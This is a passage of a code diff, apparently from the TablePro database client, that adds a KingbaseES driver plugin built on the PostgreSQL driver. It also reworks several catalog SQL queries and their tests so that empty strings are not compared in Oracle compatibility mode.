+import TableProPluginKit
+
+final class KingbaseESPlugin: NSObject, TableProPlugin, DriverPlugin {
+    static let pluginName = "KingbaseES Driver"
+    static let pluginVersion = "1.0.0"
+    static let pluginDescription = "KingbaseES database support via libpq"
+    static let capabilities: [PluginCapability] = [.databaseDriver]
+
+    static let databaseTypeId = "KingbaseES"
+    static let databaseDisplayName = "KingbaseES"
+    static let iconName = "cylinder"
+    static let defaultPort = 54_321
+    static let isDownloadable = true
+    static let urlSchemes = ["kingbase", "kingbase8"]
+    static let brandColorHex = "#C9141E"
+    static let systemDatabaseNames = PostgreSQLPlugin.systemDatabaseNames
+    static let systemSchemaNames = [
+        "pg_catalog", "information_schema", "pg_toast", "sys_catalog", "sys", "anon", "dbms_job", "dbms_scheduler",
+        "dbms_sql", "kdb_schedule", "perf", "pg_bitmapindex", "src_restrict", "sys_hm", "sysaudit", "sysmac", "wmsys",
+        "xlog_record_read"
+    ]
+
+    static let additionalConnectionFields: [ConnectionField] = [
+        ConnectionField(
+            id: "usePgpass",
+            label: String(localized: "Use ~/.pgpass"),
+            defaultValue: "false",
+            fieldType: .toggle,
+            section: .authentication,
+            hidesPassword: true
+        ),
+        ConnectionField(
+            id: "connectionOptions",
+            label: String(localized: "Connection Options"),
+            fieldType: .text,
+            section: .advanced
+        )
+    ]
+
+    static let supportsSchemaSwitching = PostgreSQLPlugin.supportsSchemaSwitching
+    static let postConnectActions = PostgreSQLPlugin.postConnectActions
+    static let explainVariants = PostgreSQLPlugin.explainVariants
+    static let databaseGroupingStrategy = PostgreSQLPlugin.databaseGroupingStrategy
+    static let columnTypesByCategory = PostgreSQLPlugin.columnTypesByCategory
+    static let supportsCascadeDrop = PostgreSQLPlugin.supportsCascadeDrop
+    static let supportsForeignKeyDisable = PostgreSQLPlugin.supportsForeignKeyDisable
+    static let requiresReconnectForDatabaseSwitch = PostgreSQLPlugin.requiresReconnectForDatabaseSwitch
+    static let parameterStyle = PostgreSQLPlugin.parameterStyle
+    static let supportsDropDatabase = PostgreSQLPlugin.supportsDropDatabase
+    static let supportsRenameTable = PostgreSQLPlugin.supportsRenameTable
+    static let supportsRenameDatabase = PostgreSQLPlugin.supportsRenameDatabase
+    static let supportsRenameSchema = PostgreSQLPlugin.supportsRenameSchema
+    static let supportsDropSchema = PostgreSQLPlugin.supportsDropSchema
+    static let supportsCreateSchema = PostgreSQLPlugin.supportsCreateSchema
+    static let supportsSchemaOwner = PostgreSQLPlugin.supportsSchemaOwner
+    static let supportsSchemaPrivileges = PostgreSQLPlugin.supportsSchemaPrivileges
+    static let supportsTriggers = PostgreSQLPlugin.supportsTriggers
+    static let supportsRoutines = PostgreSQLPlugin.supportsRoutines
+    static let supportsDatabaseTriggerBrowse = PostgreSQLPlugin.supportsDatabaseTriggerBrowse
+    static let supportsUserDefinedTypeBrowse = PostgreSQLPlugin.supportsUserDefinedTypeBrowse
+    static let supportsTriggerEditing = PostgreSQLPlugin.supportsTriggerEditing
+    static let structureColumnFields = PostgreSQLPlugin.structureColumnFields
+    static let supportsCheckConstraints = PostgreSQLPlugin.supportsCheckConstraints
+    static let supportsCheckConstraintEditing = PostgreSQLPlugin.supportsCheckConstraintEditing
+    static let supportsGeneratedColumns = PostgreSQLPlugin.supportsGeneratedColumns
+    static let sqlDialect = PostgreSQLPlugin.sqlDialect
+
+    func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver {
+        KingbaseESPluginDriver(config: config)
+    }
+}
diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
new file mode 100644
index 0000000000..4a3d8b45ec
--- /dev/null
+++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
@@ -0,0 +1,23 @@
+import Foundation
+import os
+import TableProPluginKit
+
+final class KingbaseESPluginDriver: PostgreSQLPluginDriver, @unchecked Sendable {
+    private let mode = OSAllocatedUnfairLock(initialState: KingbaseESCompatibilityMode.postgreSQL)
+
+    override var sessionLexicalState: PluginSessionLexicalState? {
+        guard let inherited = super.sessionLexicalState else { return nil }
+        let modeFeatures = mode.withLock { $0 }.lexicalFeatures
+        return PluginSessionLexicalState(
+            determined: inherited.determined.union(KingbaseESCompatibilityMode.lexicalFeaturesItDecides),
+            enabled: inherited.enabled.union(modeFeatures)
+        )
+    }
+
+    override func probeAfterConnect() async throws {
+        let result = try await execute(query: KingbaseESCompatibilityMode.probeQuery)
+        let detected = try KingbaseESCompatibilityMode(setting: result.rows.first?.first?.asText)
+        mode.withLock { $0 = detected }
+        try await super.probeAfterConnect()
+    }
+}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift
index e459e63e6b..8ed4cfd180 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift
@@ -25,7 +25,7 @@ final class LibPQDriverCore: @unchecked Sendable {
     var currentSchema: String = "public"
     private var selectedSchema: String?
 
-    var onPostConnect: (@Sendable () async -> Void)?
+    var onPostConnect: (@Sendable () async throws -> Void)?
 
     /// Set by `LibPQBackedDriver` for the span of one connect, so every driver built on this
     /// core reports its handshake steps without having to thread a parameter through its own
@@ -124,7 +124,7 @@ final class LibPQDriverCore: @unchecked Sendable {
                     currentSchema = selectedSchema
                 }
 
-                await onPostConnect?()
+                try await onPostConnect?()
                 try await pqConn.finishConnecting()
                 try Task.checkCancellation()
             } onCancel: {
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift
index 4968b271b4..4a0e63f1e7 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift
@@ -125,7 +125,9 @@ nonisolated enum PostgreSQLIndexQueries {
     /// `pg_get_expr` writes it, which is the same deparse with the same flags. When either end fails to
     /// match byte for byte, `method_and_keys` is NULL and the index falls back to its fields. Cutting
     /// at the first ` USING ` or the last ` WHERE ` instead would split an index named
-    /// `i ON s.t USING btree (` or a predicate holding the literal `' WHERE '`.
+    /// `i ON s.t USING btree (` or a predicate holding the literal `' WHERE '`. An index without a
+    /// predicate has a NULL suffix, never `''`: KingbaseES in Oracle mode reads `''` as NULL and
+    /// `' WHERE ' || NULL` as ` WHERE `.
     static func indexDDLQuery(schema: String, table: String?) -> String {
         let schemaLiteral = PostgreSQLObjectQueries.quoteLiteral(schema)
         let tablePredicate = table.map { " AND t.relname = \(PostgreSQLObjectQueries.quoteLiteral($0))" } ?? ""
@@ -134,15 +136,17 @@ nonisolated enum PostgreSQLIndexQueries {
                 d.table_name,
                 d.index_name,
                 CASE
-                    WHEN pg_catalog.length(d.definition) >= pg_catalog.length(d.prefix) + pg_catalog.length(d.suffix)
+                    WHEN pg_catalog.length(d.definition)
+                            >= pg_catalog.length(d.prefix) + COALESCE(pg_catalog.length(d.suffix), 0)
                         AND pg_catalog.substr(d.definition, 1, pg_catalog.length(d.prefix)) = d.prefix
-                        AND pg_catalog.substr(
+                        AND (d.suffix IS NULL OR pg_catalog.substr(
                             d.definition, pg_catalog.length(d.definition) - pg_catalog.length(d.suffix) + 1
-                        ) = d.suffix
+                        ) = d.suffix)
                     THEN pg_catalog.substr(
                         d.definition,
                         pg_catalog.length(d.prefix) + 1,
-                        pg_catalog.length(d.definition) - pg_catalog.length(d.prefix) - pg_catalog.length(d.suffix)
+                        pg_catalog.length(d.definition) - pg_catalog.length(d.prefix)
+                            - COALESCE(pg_catalog.length(d.suffix), 0)
                     )
                 END AS method_and_keys,
                 d.predicate
@@ -162,7 +166,9 @@ nonisolated enum PostgreSQLIndexQueries {
                         END
                         || pg_catalog.quote_ident(n.nspname) || '.' || pg_catalog.quote_ident(t.relname) || ' '
                         AS prefix,
-                    COALESCE(' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid), '') AS suffix,
+                    CASE WHEN ix.indpred IS NOT NULL
+                        THEN ' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid)
+                    END AS suffix,
                     pg_catalog.pg_get_expr(ix.indpred, ix.indrelid) AS predicate
                 FROM pg_catalog.pg_index ix
                 JOIN pg_catalog.pg_class i ON i.oid = ix.indexrelid
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift
index 6e50299834..260d95fe3b 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift
@@ -137,7 +137,7 @@ extension PostgreSQLPluginDriver {
             JOIN pg_class c ON c.oid = t.tgrelid
             JOIN pg_namespace n ON n.oid = c.relnamespace
             WHERE c.relname = \(tableLiteral) AND n.nspname = \(schemaLiteral) AND NOT t.tgisinternal
-              AND t.tgenabled <> 'O'
+              AND t.tgenabled IN ('D', 'R', 'A')
             ORDER BY t.tgname
             """)
 
@@ -155,7 +155,7 @@ extension PostgreSQLPluginDriver {
             JOIN pg_namespace n ON n.oid = c.relnamespace
             WHERE c.relname = \(tableLiteral) AND n.nspname = \(schemaLiteral)
               AND a.attnum > 0 AND NOT a.attisdropped
-              AND \(caps.hasIdentityColumns ? "a.attidentity = ''" : "true")
+              AND \(caps.hasIdentityColumns ? "a.attidentity NOT IN ('a', 'd')" : "true")
               AND pg_get_serial_sequence(
                     quote_ident(n.nspname) || '.' || quote_ident(c.relname), a.attname
                   ) IS NOT NULL
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
index f92bf287f3..e7b0c72983 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
@@ -21,6 +21,8 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable {
     let sessionFacts = OSAllocatedUnfairLock(initialState: PostgreSQLSessionFacts.unknown)
     private let listingDegradeReported = OSAllocatedUnfairLock(initialState: false)
 
+    var sessionLexicalState: PluginSessionLexicalState? { core.sessionLexicalState }
+
     var serverVersionNumber: Int32 {
         let reported = core.serverVersionNumber
         return sessionFacts.withLock { $0.resolvedServerVersion(reported: reported) }
@@ -60,15 +62,20 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable {
 
     func connect() async throws {
         core.onPostConnect = { [weak self] in
-            await self?.probeSessionFacts()
-            await self?.probeCatalogPresence()
-            await self?.probePostgisOids()
-            await self?.probeEnumOids()
-            await self?.probeVectorTypes()
+            try await self?.probeAfterConnect()
         }
         try await core.connect()
     }
 
+    /// Runs inside the connect's deadline and cancellation, before the connection is handed out.
+    func probeAfterConnect() async throws {
+        await probeSessionFacts()
+        await probeCatalogPresence()
+        await probePostgisOids()
+        await probeEnumOids()
+        await probeVectorTypes()
+    }
+
     private func probeCatalogPresence() async {
         do {
             let result = try await core.execute(query: PostgreSQLCatalogPresence.probeQuery)
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift
index cffd92b8b9..ed0db78a91 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift
@@ -58,7 +58,7 @@ enum PostgreSQLSchemaManagementQueries {
         ) s
         LEFT JOIN pg_catalog.pg_roles gte ON gte.oid = (s.acl).grantee
         LEFT JOIN pg_catalog.pg_roles gtr ON gtr.oid = (s.acl).grantor
-        ORDER BY 2, 3
+        ORDER BY gte.rolname NULLS FIRST, 3
         """
     }
 
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift
index 8509c276a1..b38f26b455 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift
@@ -329,16 +329,23 @@ enum PostgreSQLSchemaQueries {
     /// inherits `C` from its domain and one declared `COLLATE "C"` over `text` report `C` in
     /// `information_schema`, and only the second declares it. Reads the attribute as `a`, which every
     /// column read and column DDL builder in this plugin aliases it to.
-    static let columnCollation = """
+    static let columnCollation = declaredCollation(PostgreSQLObjectQueries.collationName("a.attcollation"))
+
+    /// `columnCollation` as the text a column definition appends after its type: ` COLLATE <name>`, or
+    /// an empty string.
+    // The keyword sits inside the THEN: KingbaseES in Oracle mode reads `' COLLATE ' || NULL` as ` COLLATE `.
+    static let columnCollateClause = declaredCollation(
+        "' COLLATE ' || \(PostgreSQLObjectQueries.collationName("a.attcollation"))", otherwise: "''"
+    )
+
+    private static func declaredCollation(_ value: String, otherwise fallback: String? = nil) -> String {
+        """
         CASE WHEN a.attcollation <> 0
                   AND a.attcollation <> (SELECT ty.typcollation FROM pg_catalog.pg_type ty WHERE ty.oid = a.atttypid)
-                 THEN \(PostgreSQLObjectQueries.collationName("a.attcollation"))
+                 THEN \(value)\(fallback.map { "\n         ELSE \($0)" } ?? "")
             END
         """
-
-    /// `columnCollation` as the text a column definition appends after its type: ` COLLATE <name>`, or
-    /// an empty string.
-    static let columnCollateClause = "COALESCE(' COLLATE ' || \(columnCollation), '')"
+    }
 
     /// One array over the sequences this column's default reads in the table's own schema, ordered by
     /// oid so the qualified and relative arrays pair element for element.
@@ -431,8 +438,8 @@ enum PostgreSQLSchemaQueries {
     }
 
     static func rebuildColumnsQuery(schema: String, table: String, capabilities: PostgreSQLCapabilities) -> String {
-        let identityFlag = capabilities.hasIdentityColumns ? "a.attidentity <> ''" : "false"
-        let generatedFlag = capabilities.hasGeneratedColumns ? "a.attgenerated <> ''" : "false"
+        let identityFlag = capabilities.hasIdentityColumns ? "a.attidentity IN ('a', 'd')" : "false"
+        let generatedFlag = capabilities.hasGeneratedColumns ? "a.attgenerated IN ('s', 'v')" : "false"
         return """
             SELECT
                 a.attname,
@@ -458,9 +465,10 @@ enum PostgreSQLSchemaQueries {
                   ELSE ''
                 END ||
             """ : ""
+        // The kinds are named because KingbaseES in Oracle mode reads `''` as NULL, so `= ''` is never true there.
         let defaultGuard = [
-            capabilities.hasIdentityColumns ? "AND a.attidentity = ''" : "",
-            capabilities.hasGeneratedColumns ? "AND a.attgenerated = ''" : ""
+            capabilities.hasIdentityColumns ? "AND a.attidentity NOT IN ('a', 'd')" : "",
+            capabilities.hasGeneratedColumns ? "AND a.attgenerated NOT IN ('s', 'v')" : ""
         ].filter { !$0.isEmpty }.joined(separator: " ")
         return """
             quote_ident(a.attname) || ' ' || format_type(a.atttypid, a.atttypmod) || \(columnCollateClause) ||
@@ -523,8 +531,15 @@ enum PostgreSQLSchemaQueries {
         let includesTableName = table == nil
         let identityProjection = capabilities.hasIdentityColumns ? "a.attidentity" : "NULL::text"
         let generatedProjection = capabilities.hasGeneratedColumns ? "a.attgenerated" : "NULL::text"
+        // Not `c.generation_expression`: KingbaseES's Oracle-mode view compares `attgenerated <> NULL`, so it is always NULL.
         let generationExpressionProjection = capabilities.hasGeneratedColumns
-            ? "c.generation_expression"
+            ? """
+                CASE WHEN a.attgenerated IN ('s', 'v')
+                         THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid)
+                                 FROM pg_catalog.pg_attrdef ad
+                                WHERE ad.adrelid = a.attrelid AND ad.adnum = a.attnum)
+                    END
+                """
             : "NULL::text"
         let attributeJoin = """
 
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift
index 4ee26ebffe..b3f682d6a6 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift
@@ -277,7 +277,11 @@ struct PostgreSQLCatalogSQLPinTests {
             a.attidentity AS identity_kind,
             a.attgenerated AS generated_kind,
             c.udt_schema AS udt_schema,
-            c.generation_expression AS generation_expression,
+            CASE WHEN a.attgenerated IN ('s', 'v')
+                 THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid)
+                         FROM pg_catalog.pg_attrdef ad
+                        WHERE ad.adrelid = a.attrelid AND ad.adnum = a.attnum)
+            END AS generation_expression,
             CASE WHEN EXISTS (
                         SELECT 1
                         FROM pg_catalog.pg_type dt
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift
index 7b21c6c397..cba6ac1f90 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift
@@ -51,12 +51,18 @@ struct PostgreSQLColumnDDLQuerySequenceCollationTests {
         ))
     }
 
-    @Test("The DDL builders' clause is the same collation behind a COLLATE keyword, or nothing")
+    @Test("The DDL builders' clause reads the same collation once, behind a COLLATE keyword, or nothing")
     func collateClauseWrapsTheSameCollation() {
-        #expect(
-            PostgreSQLSchemaQueries.columnCollateClause
-                == "COALESCE(' COLLATE ' || \(PostgreSQLSchemaQueries.columnCollation), '')"
-        )
+        let clause = PostgreSQLSchemaQueries.columnCollateClause
+        let name = PostgreSQLObjectQueries.collationName("a.attcollation")
+        #expect(clause.contains("a.attcollation <> 0"))
+        #expect(clause.contains(
+            "a.attcollation <> (SELECT ty.typcollation FROM pg_catalog.pg_type ty WHERE ty.oid = a.atttypid)"
+        ))
+        #expect(clause.contains("THEN ' COLLATE ' || \(name)"))
+        #expect(clause.contains("ELSE ''"))
+        #expect(clause.components(separatedBy: name).count - 1 == 1)
+        #expect(clause.components(separatedBy: "pg_catalog.pg_type ty").count - 1 == 1)
     }
 }
 
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift
index 2c5539a140..2d97d2f31c 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift
@@ -80,7 +80,9 @@ struct PostgreSQLColumnsQueryTests {
         let query = singleTable(schema: "s2", table: "orders")
         #expect(query.contains("a.attidentity"))
         #expect(query.contains("a.attgenerated"))
-        #expect(query.contains("c.generation_expression"))
+        #expect(query.contains("CASE WHEN a.attgenerated IN ('s', 'v')"))
+        #expect(query.contains("THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid)"))
+        #expect(!query.contains("c.generation_expression"))
         #expect(query.contains("ON a.attrelid = rel.oid"))
         #expect(query.contains("AND a.attnum = c.ordinal_position"))
     }
@@ -223,11 +225,13 @@ struct PostgreSQLMaterializedViewColumnsQueryTests {
     }
 
     @Test("a materialized view column has no primary key and no default")
-    func armSkipsConstraintsAndDefaults() {
+    func armSkipsConstraintsAndDefaults() throws {
         let rendered = query()
+        let arm = try #require(rendered.components(separatedBy: "UNION ALL").last)
         #expect(rendered.contains("'NO' AS is_pk"))
         #expect(rendered.contains("NULL::text AS column_default"))
-        #expect(!rendered.contains("pg_attrdef"))
+        #expect(arm.contains("mvc.relkind = 'm'"))
+        #expect(!arm.contains("pg_attrdef"))
         #expect(rendered.components(separatedBy: "FROM pg_catalog.pg_constraint con").count - 1 == 1)
     }
 
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift
index 9a5556b840..6fe21b80db 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift
@@ -173,9 +173,13 @@ struct PostgreSQLIndexDDLQueryTests {
     @Test("The suffix is the predicate as pg_get_expr writes it, and the keys are cut only when both ends match")
     func suffixAndCut() throws {
         let sql = PostgreSQLIndexQueries.indexDDLQuery(schema: "src", table: nil)
-        #expect(sql.contains("COALESCE(' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid), '') AS suffix"))
+        #expect(sql.contains("CASE WHEN ix.indpred IS NOT NULL"))
+        #expect(sql.contains("THEN ' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid)"))
+        #expect(sql.contains("END AS suffix"))
+        #expect(!sql.contains("COALESCE(' WHERE '"))
         #expect(sql.contains("AND pg_catalog.substr(d.definition, 1, pg_catalog.length(d.prefix)) = d.prefix"))
-        #expect(sql.contains(") = d.suffix"))
+        #expect(sql.contains("AND (d.suffix IS NULL OR pg_catalog.substr("))
+        #expect(sql.contains(") = d.suffix)"))
         let cutStart = try #require(sql.range(of: "CASE"))
         let cutEnd = try #require(sql.range(of: "END AS method_and_keys"))
         let cut = sql[cutStart.upperBound..<cutEnd.lowerBound]
diff --git a/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift b/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift
index 32c977f5e8..17229d5ea6 100644
--- a/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift
+++ b/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift
@@ -13,7 +13,7 @@ internal struct SQLExportSessionDeclaration: Equatable {
     let epilogue: String
 
     private static let typesAcceptingSetClientEncoding: Set<String> = [
-        "PostgreSQL", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite"
+        "PostgreSQL", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite", "KingbaseES"
     ]
 
     /// `readTimeZone` is the zone the rows were read in, from the export's read scope. Only a MySQL dump declares
diff --git a/apple/Plugins/TableProPluginKit/SqlDialect.swift b/apple/Plugins/TableProPluginKit/SqlDialect.swift
index 7571dc90b3..bf55ad82ca 100644
--- a/apple/Plugins/TableProPluginKit/SqlDialect.swift
+++ b/apple/Plugins/TableProPluginKit/SqlDialect.swift
@@ -9,7 +9,7 @@ public enum SqlDialect: String, Sendable, CaseIterable {
 
     public static func from(databaseTypeId: String) -> SqlDialect {
         switch databaseTypeId {
-        case "PostgreSQL", "Redshift", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite":
+        case "PostgreSQL", "Redshift", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite", "KingbaseES":
             return .postgres
         case "MySQL", "MariaDB", "TiDB", "OceanBase":
             return .mysql
diff --git a/apple/TablePro/Core/Autocomplete/CompletionEngine.swift b/apple/TablePro/Core/Autocomplete/CompletionEngine.swift
index 6949899846..fc26946d2d 100644
--- a/apple/TablePro/Core/Autocomplete/CompletionEngine.swift
+++ b/apple/TablePro/Core/Autocomplete/CompletionEngine.swift
@@ -1,6 +1,7 @@
 import Foundation
 import TableProAutocomplete
 import TableProPluginKit
+import TableProSQLGrammar
 
 struct CompletionContext {
     let items: [SQLCompletionItem]
@@ -19,13 +20,15 @@ final class CompletionEngine {
         schemaProvider: SQLSchemaProvider?,
         databaseType: DatabaseType? = nil,
         dialect: SQLDialectDescriptor? = nil,
-        statementCompletions: [CompletionEntry] = []
+        statementCompletions: [CompletionEntry] = [],
+        grammar: SQLLexicalGrammar? = nil
     ) {
         self.provider = SQLCompletionProvider(
             schemaProvider: schemaProvider,
             databaseType: databaseType,
             dialect: dialect,
-            statementCompletions: statementCompletions
+            statementCompletions: statementCompletions,
+            grammar: grammar
         )
         self.identifierRules = databaseType?.identifierRules
     }
diff --git a/apple/TablePro/Core/Autocomplete/QueryCompletionService.swift b/apple/TablePro/Core/Autocomplete/QueryCompletionService.swift
index 3419a54dfb..64056e5c4f 100644
--- a/apple/TablePro/Core/Autocomplete/QueryCompletionService.swift
+++ b/apple/TablePro/Core/Autocomplete/QueryCompletionService.swift
@@ -1,6 +1,7 @@
 import Foundation
 import TableProAutocomplete
 import TableProPluginKit
+import TableProSQLGrammar
 
 struct QueryCompletionSession {
     let items: [SQLCompletionItem]
@@ -29,7 +30,8 @@ enum QueryCompletionServiceFactory {
         schemaProvider: SQLSchemaProvider?,
         databaseType: DatabaseType?,
         profile: QueryCompletionProfile? = nil,
-        connectionId: UUID? = nil
+        connectionId: UUID? = nil,
+        grammar: SQLLexicalGrammar? = nil
     ) -> QueryCompletionService {
         let language = databaseType.map { PluginManager.shared.editorLanguage(for: $0) } ?? .sql
 
@@ -41,6 +43,7 @@ enum QueryCompletionServiceFactory {
                 schemaProvider: schemaProvider,
                 databaseType: databaseType,
                 profile: profile,
+                grammar: grammar,
                 identifierCase: { SQLIdentifierCase.stored(for: connectionId) }
             )
         }
diff --git a/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift b/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift
index bd9e1c2189..c62314e731 100644
--- a/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift
+++ b/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift
@@ -9,29 +9,17 @@ extension SQLCompletionProvider {
         schemaProvider: SQLSchemaProvider?,
         databaseType: DatabaseType? = nil,
         dialect: SQLDialectDescriptor? = nil,
-        statementCompletions: [CompletionEntry] = []
+        statementCompletions: [CompletionEntry] = [],
+        grammar: SQLLexicalGrammar? = nil
     ) {
         self.init(
             catalog: schemaProvider,
-            grammar: databaseType?.lexicalGrammar ?? .ansi,
+            grammar: grammar ?? databaseType?.lexicalGrammar ?? .ansi,
             vocabulary: SQLCompletionVocabulary(
                 dialect: dialect, statementCompletions: statementCompletions, databaseType: databaseType
             )
         )
     }
-
-    func setDatabaseType(
-        _ type: DatabaseType,
-        dialect: SQLDialectDescriptor? = nil,
-        statementCompletions: [CompletionEntry] = []
-    ) {
-        update(
-            grammar: type.lexicalGrammar,
-            vocabulary: SQLCompletionVocabulary(
-                dialect: dialect, statementCompletions: statementCompletions, databaseType: type
-            )
-        )
-    }
 }
 
 extension SQLCompletionVocabulary {
diff --git a/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift b/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift
index d6811a2b98..b6a44f0c22 100644
--- a/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift
+++ b/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift
@@ -14,6 +14,7 @@ final class SQLCompletionService: QueryCompletionService {
         schemaProvider: SQLSchemaProvider?,
         databaseType: DatabaseType?,
         profile: QueryCompletionProfile? = nil,
+        grammar: SQLLexicalGrammar? = nil,
         identifierCase: @escaping @MainActor () -> SQLIdentifierCase = { .default }
     ) {
         let dialect = profile?.resolvedDialect
@@ -21,13 +22,15 @@ final class SQLCompletionService: QueryCompletionService {
         let statementCompletions = profile?.statementCompletions
             ?? databaseType.flatMap { PluginManager.shared.statementCompletions(for: $0) }
             ?? []
+        let resolvedGrammar = grammar ?? databaseType?.lexicalGrammar ?? .ansi
         self.engine = CompletionEngine(
             schemaProvider: schemaProvider,
             databaseType: databaseType,
             dialect: dialect,
-            statementCompletions: statementCompletions
+            statementCompletions: statementCompletions,
+            grammar: resolvedGrammar
         )
-        self.grammar = databaseType?.lexicalGrammar ?? .ansi
+        self.grammar = resolvedGrammar
         self.identifierCaseSource = identifierCase
     }
 
diff --git a/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift b/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift
index ccf4fa6590..c58dd2fce1 100644
--- a/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift
+++ b/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift
@@ -443,18 +443,18 @@ actor SQLSchemaProvider {
         let capturedConnection = connection
         let defaultSchema = getDefaultSchema()
         let capturedScopeDatabase = scopeDatabase
-        let (dbName, idQuote, editorLanguage, queryLanguageName) = await MainActor.run {
+        let (dbName, idQuote, editorLanguage, queryLanguageName, grammar) = await MainActor.run {
             let resolvedName = capturedScopeDatabase
                 ?? DatabaseManager.shared.browseDatabaseName(for: capturedConnection)
             let quote = PluginManager.shared.sqlDialect(for: dbType)?.identifierQuote ?? "\""
             let lang = PluginManager.shared.editorLanguage(for: dbType)
             let langName = PluginManager.shared.queryLanguageName(for: dbType)
-            return (resolvedName, quote, lang, langName)
+            let sessionGrammar = SQLLexicalResolver.executionGrammar(for: dbType, connectionId: capturedConnection.id)
+            return (resolvedName, quote, lang, langName, sessionGrammar)
         }
 
         var listedTables = tables
         if let editorText, editorLanguage == .sql, listedTables.count > settings.maxSchemaTables {
-            let grammar = dbType.lexicalGrammar
             let statement = SQLStatementScanner.statementAtCursor(
                 in: editorText,
                 cursorPosition: cursorOffset,
diff --git a/apple/TablePro/Core/Compare/CompareRunner.swift b/apple/TablePro/Core/Compare/CompareRunner.swift
index 8f796c9035..9eb2f6f83b 100644
--- a/apple/TablePro/Core/Compare/CompareRunner.swift
